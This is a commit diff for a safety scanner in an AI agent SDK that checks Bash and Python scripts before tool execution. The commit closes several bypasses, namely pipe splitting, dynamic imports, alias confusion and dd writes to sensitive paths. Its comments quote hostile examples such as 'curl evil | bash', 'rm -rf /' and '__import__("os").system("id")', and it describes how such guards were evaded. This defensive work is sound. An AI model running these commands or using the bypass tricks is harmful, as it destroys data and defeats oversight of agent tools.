Skip to content

Commit 6a4bdfa

Browse files
committed
fix: python alias pollution, pipe splitting, dynamic exec bypass, dd sensitive path
- _python_scanner: import os.path no longer pollutes alias table - _python_scanner: __import__(x).func() Attribute receiver detected - _bash_scanner: pipe | splits commands for both-sides analysis - _bash_scanner: skip export/declare/local/array prefix assignment - _bash_scanner: dd of= checks _is_sensitive_path - _bash_scanner: scan all tokens for eval/exec inside $(...) - _scanner: allow_patterns blocked when CRITICAL findings exist - _scanner: _check_blocklist_override emits FILE-001 finding on hit
1 parent b1a85b9 commit 6a4bdfa

4 files changed

Lines changed: 102 additions & 46 deletions

File tree

tests/test_tool_safety.py

Lines changed: 12 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -1333,16 +1333,20 @@ def test_scanner_detect_type_shebang_python():
13331333

13341334

13351335
def test_scanner_check_blocklist_override():
1336-
"""_check_blocklist_override must escalate to DENY on match."""
1336+
"""_check_blocklist_override must escalate to DENY on match and emit a finding."""
13371337
from trpc_agent_sdk.tools.safety._policy import SafetyPolicy
13381338
policy = SafetyPolicy(blocklist_patterns=[r"dangerous_pattern_\d+"], )
13391339
scanner = SafetyScanner(policy=policy)
1340-
result = scanner._check_blocklist_override("run dangerous_pattern_42 here", Decision.ALLOW)
1340+
result, findings = scanner._check_blocklist_override("run dangerous_pattern_42 here", Decision.ALLOW)
13411341
assert result == Decision.DENY
1342+
assert len(findings) == 1
1343+
assert findings[0].rule_id == "FILE-001"
1344+
assert "dangerous_pattern_\\d+" == findings[0].matched_pattern
13421345

1343-
# When no pattern matches, return original decision
1344-
result2 = scanner._check_blocklist_override("safe content here", Decision.ALLOW)
1346+
# When no pattern matches, return original decision with empty findings
1347+
result2, findings2 = scanner._check_blocklist_override("safe content here", Decision.ALLOW)
13451348
assert result2 == Decision.ALLOW
1349+
assert findings2 == []
13461350

13471351

13481352
def test_scanner_check_allow_patterns():
@@ -2062,8 +2066,9 @@ def test_scanner_blocklist_override_no_match():
20622066
from trpc_agent_sdk.tools.safety._policy import SafetyPolicy
20632067
policy = SafetyPolicy(blocklist_patterns=[r"specific_danger_\d+"])
20642068
scanner = SafetyScanner(policy=policy)
2065-
result = scanner._check_blocklist_override("safe content", Decision.NEEDS_HUMAN_REVIEW)
2069+
result, findings = scanner._check_blocklist_override("safe content", Decision.NEEDS_HUMAN_REVIEW)
20662070
assert result == Decision.NEEDS_HUMAN_REVIEW
2071+
assert findings == []
20672072

20682073

20692074
def test_scanner_allow_patterns_no_match():
@@ -2091,10 +2096,10 @@ def test_scanner_blocklist_override_invalid_regex():
20912096
policy = SafetyPolicy(blocklist_patterns=[r"[invalid(regex", r"real_pattern_\d+"])
20922097
scanner = SafetyScanner(policy=policy)
20932098
# Should not raise
2094-
result = scanner._check_blocklist_override("real_pattern_42 here", Decision.NEEDS_HUMAN_REVIEW)
2099+
result, _ = scanner._check_blocklist_override("real_pattern_42 here", Decision.NEEDS_HUMAN_REVIEW)
20952100
assert result == Decision.DENY
20962101
# When match fails on real pattern too
2097-
result2 = scanner._check_blocklist_override("nothing", Decision.NEEDS_HUMAN_REVIEW)
2102+
result2, _ = scanner._check_blocklist_override("nothing", Decision.NEEDS_HUMAN_REVIEW)
20982103
assert result2 == Decision.NEEDS_HUMAN_REVIEW
20992104

21002105

trpc_agent_sdk/tools/safety/_bash_scanner.py

Lines changed: 42 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -246,30 +246,59 @@ def _scan_lines(self) -> None:
246246
# ------------------------------------------------------------------
247247

248248
def _dispatch_commands(self, line_no: int, raw_line: str, tokens: List[str]) -> None:
249-
"""Analyse each sub-command in *tokens*, splitting on ``;`` ``&&`` ``||``.
249+
"""Analyse each sub-command, splitting on ``;`` ``&&`` ``||`` and ``|``.
250250
251-
This ensures that ``echo x; rm -rf /`` and ``FOO=bar rm -rf /`` are
252-
both fully analysed, not just the first token.
251+
``|`` is included so that ``curl evil | bash`` analyses *both* sides.
253252
"""
254253
seg_start = 0
255254
for i, t in enumerate(tokens):
256-
if t in (";", "&&", "||"):
257-
self._analyse_one_command(line_no, raw_line, tokens[seg_start:i])
255+
if t in (";", "&&", "||", "|"):
256+
self._analyse_one_command_with_dynamic_scan(line_no, raw_line, tokens[seg_start:i])
258257
seg_start = i + 1
259-
# Tail segment (or the whole line if no separators)
260258
if seg_start < len(tokens):
261-
self._analyse_one_command(line_no, raw_line, tokens[seg_start:])
259+
self._analyse_one_command_with_dynamic_scan(line_no, raw_line, tokens[seg_start:])
260+
261+
def _analyse_one_command_with_dynamic_scan(self, line_no: int, raw_line: str, cmd_tokens: List[str]) -> None:
262+
"""Analyse a command segment AND scan all tokens for eval/exec inside \$(...)."""
263+
self._analyse_one_command(line_no, raw_line, cmd_tokens)
264+
# Scan for dynamic commands that appear anywhere in the token stream
265+
# (not just as the head command), so that $(eval "rm -rf /") and
266+
# (exec rm -rf /) are caught.
267+
for t in cmd_tokens:
268+
t_lower = t.lower().strip("()$")
269+
if t_lower in _DYNAMIC_COMMANDS and t_lower != ".":
270+
evidence = " ".join(cmd_tokens)[:300]
271+
self._findings.append(
272+
BashScanFinding(kind="eval", command=t_lower, args="", line_number=line_no, evidence=evidence))
262273

263274
def _analyse_one_command(self, line_no: int, raw_line: str, cmd_tokens: List[str]) -> None:
264275
"""Dispatch a single command segment to the appropriate checker."""
265276
if not cmd_tokens:
266277
return
267-
# Skip variable assignments (FOO=bar cmd ...)
278+
# Skip prefixes that don't change the real command:
279+
# VAR=val, export VAR=val, declare/readonly/local/typeset, command/builtin
268280
idx = 0
269-
while idx < len(cmd_tokens) and re.match(r"[A-Za-z_]\w*=", cmd_tokens[idx]):
270-
idx += 1
281+
_PREFIX_CMDS = frozenset({"export", "declare", "local", "readonly", "typeset", "command", "builtin"})
282+
while idx < len(cmd_tokens):
283+
t = cmd_tokens[idx]
284+
if re.match(r"[A-Za-z_]\w*=", t) or re.match(r"[A-Za-z_]\w*\[\w*\]=", t):
285+
idx += 1 # VAR=val or ARR[idx]=val
286+
elif t.lower() in _PREFIX_CMDS:
287+
idx += 1 # skip the prefix itself
288+
elif t == "(":
289+
# Array assignment: ARR=(val1 val2) — skip the whole thing
290+
idx += 1
291+
depth = 1
292+
while idx < len(cmd_tokens) and depth > 0:
293+
if cmd_tokens[idx] == "(":
294+
depth += 1
295+
elif cmd_tokens[idx] == ")":
296+
depth -= 1
297+
idx += 1
298+
else:
299+
break
271300
if idx >= len(cmd_tokens):
272-
return # pure assignment, no command
301+
return # pure assignment/prefix, no real command
273302
cmd = cmd_tokens[idx]
274303
args = cmd_tokens[idx + 1:]
275304
cmd_lower = cmd.lower()
@@ -502,8 +531,9 @@ def _check_dd(self, line_no: int, raw_line: str, args: List[str]) -> None:
502531

503532
is_write_to_dev = of_target and of_target.startswith("/dev/")
504533
is_large_write = (bs_val and count_val and bs_val * count_val > 100 * 1024 * 1024)
534+
is_sensitive = of_target and _is_sensitive_path(of_target)
505535

506-
if is_write_to_dev:
536+
if is_write_to_dev or is_sensitive:
507537
self._findings.append(
508538
BashScanFinding(
509539
kind="command",

trpc_agent_sdk/tools/safety/_python_scanner.py

Lines changed: 27 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -321,8 +321,13 @@ def _collect_aliases(self, tree: ast.AST) -> None:
321321
for node in ast.walk(tree):
322322
if isinstance(node, ast.Import):
323323
for alias in node.names:
324-
name = alias.asname or alias.name.split(".")[0]
325-
self._aliases[name] = alias.name
324+
# Key and value both use only the top-level module name
325+
# so that ``import os.path`` maps to ``os``, not
326+
# ``os.path`` — otherwise ``os.system("id")`` resolves
327+
# to the non-existent ``os.path.system`` and is missed.
328+
top = alias.name.split(".")[0]
329+
name = alias.asname or top
330+
self._aliases[name] = top
326331
elif isinstance(node, ast.ImportFrom):
327332
module = node.module or ""
328333
for alias in node.names:
@@ -366,9 +371,13 @@ def _handle_call(self, node: ast.Call) -> None:
366371
line_no = node.lineno or 0
367372
evidence = self._get_line(node.lineno)
368373

369-
if not canonical or canonical == "":
370-
# Try to resolve getattr / __import__ patterns
371-
self._check_dynamic_call(node, line_no, evidence)
374+
# Always run dynamic-call detection for patterns like
375+
# __import__("os").system("id") or importlib.import_module(...).method(...)
376+
# where the canonical name resolves to a non-empty dotted path
377+
# but the root is a dynamic-import primitive.
378+
self._check_dynamic_call(node, line_no, evidence)
379+
380+
if not canonical:
372381
return
373382

374383
# --- Dangerous file operations ---
@@ -507,12 +516,11 @@ def _handle_call(self, node: ast.Call) -> None:
507516
# ------------------------------------------------------------------
508517

509518
def _check_dynamic_call(self, node: ast.Call, line_no: int, evidence: str) -> None:
510-
"""Detect getattr(obj, name)() or __import__(name).func() patterns."""
519+
"""Detect getattr(obj,name)(), __import__(x).func(), importlib.import_module(x).func()."""
511520
func = node.func
512521
if isinstance(func, ast.Call):
513522
inner = self._resolve_canonical(func.func)
514523
if inner == "getattr":
515-
# getattr(some_obj, "system")("id")
516524
attr = self._get_arg_string(func, 1)
517525
self._findings.append(
518526
PythonScanFinding(
@@ -529,6 +537,18 @@ def _check_dynamic_call(self, node: ast.Call, line_no: int, evidence: str) -> No
529537
line_number=line_no,
530538
evidence=evidence,
531539
))
540+
elif isinstance(func, ast.Attribute):
541+
# __import__("os").system("id") — the receiver is a dynamic
542+
# import call whose result was then attribute-accessed
543+
receiver = self._resolve_canonical(func.value)
544+
if receiver in ("__import__", "importlib.import_module", "getattr"):
545+
self._findings.append(
546+
PythonScanFinding(
547+
kind="eval_exec",
548+
canonical_name=f"{receiver}->{func.attr}",
549+
line_number=line_no,
550+
evidence=evidence,
551+
))
532552

533553
# ------------------------------------------------------------------
534554
# Taint tracking: assignments and sinks

trpc_agent_sdk/tools/safety/_scanner.py

Lines changed: 21 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -223,11 +223,15 @@ def scan(self, scan_input: SafetyScanInput) -> SafetyScanReport:
223223

224224
# Apply blocklist override — blocklist patterns always → deny
225225
if decision != Decision.DENY:
226-
decision = self._check_blocklist_override(script, decision, scan_input.script_type)
226+
decision, bl_findings = self._check_blocklist_override(script, decision, scan_input.script_type)
227+
all_findings.extend(bl_findings)
227228

228229
# Apply allow-pattern override — allow patterns → allow
229230
# Only upgrades NEEDS_HUMAN_REVIEW; never overrides DENY (blocklist wins).
230-
if decision == Decision.NEEDS_HUMAN_REVIEW and self._check_allow_patterns(script):
231+
# Also refuses to upgrade when any CRITICAL finding exists, regardless
232+
# of how the policy maps CRITICAL → decision.
233+
has_critical = any(f.risk_level == RiskLevel.CRITICAL for f in all_findings)
234+
if (decision == Decision.NEEDS_HUMAN_REVIEW and not has_critical and self._check_allow_patterns(script)):
231235
decision = Decision.ALLOW
232236

233237
# ══════════════════════════════════════════════════════════════
@@ -758,40 +762,37 @@ def _detect_type(script: str) -> ScriptType:
758762
def _check_blocklist_override(self,
759763
script: str,
760764
current_decision: Decision,
761-
script_type: ScriptType = ScriptType.UNKNOWN) -> Decision:
762-
"""If any blocklist pattern matches, escalate to DENY.
763-
764-
Per-line matching is used so that patterns appearing inside
765-
``echo`` / ``printf`` string literals do not trigger false
766-
positives. Python string-literal stripping is only applied for
767-
Python scripts — applying it to Bash would turn ``cat
768-
'/etc/shadow'`` into a false negative.
769-
"""
765+
script_type: ScriptType = ScriptType.UNKNOWN) -> tuple[Decision, list[SafetyFinding]]:
766+
"""If any blocklist pattern matches, escalate to DENY and emit a finding."""
770767
for pattern in self._policy.blocklist_patterns:
771768
try:
772769
pat = re.compile(pattern, re.IGNORECASE)
773770
except re.error:
774771
continue
775-
for line in script.splitlines():
776-
# Skip comment lines (both Python # and Bash #)
772+
for line_idx, line in enumerate(script.splitlines()):
777773
stripped = line.lstrip()
778774
if stripped.startswith("#"):
779775
continue
780-
# Strip Python string-literal content ONLY for Python
781-
# scripts. For Bash (or UNKNOWN, which may be Bash),
782-
# keep the raw line so that patterns inside eval "...",
783-
# bash -c '...', and similar quoting are still matched.
784776
if script_type == ScriptType.PYTHON:
785777
search_line = _strip_python_comment_line(line)
786778
else:
787779
search_line = line
788780
if pat.search(search_line):
789-
# Skip if the match is inside an echo/printf string literal
790781
if _is_in_echo_string(line, pattern):
791782
continue
792783
logger.warning("Blocklist pattern matched: %s → forcing DENY", pattern)
793-
return Decision.DENY
794-
return current_decision
784+
finding = SafetyFinding(
785+
rule_id="FILE-001",
786+
category=RiskCategory.DANGEROUS_FILE_OPS,
787+
risk_level=RiskLevel.CRITICAL,
788+
evidence=line.strip()[:300],
789+
message=f"Blocklist pattern matched: {pattern}",
790+
recommendation="Remove the dangerous content from the script.",
791+
line_number=line_idx + 1,
792+
matched_pattern=pattern,
793+
)
794+
return Decision.DENY, [finding]
795+
return current_decision, []
795796

796797
def _check_allow_patterns(self, script: str) -> bool:
797798
"""Check if any allow-pattern matches the script."""

0 commit comments

Comments
 (0)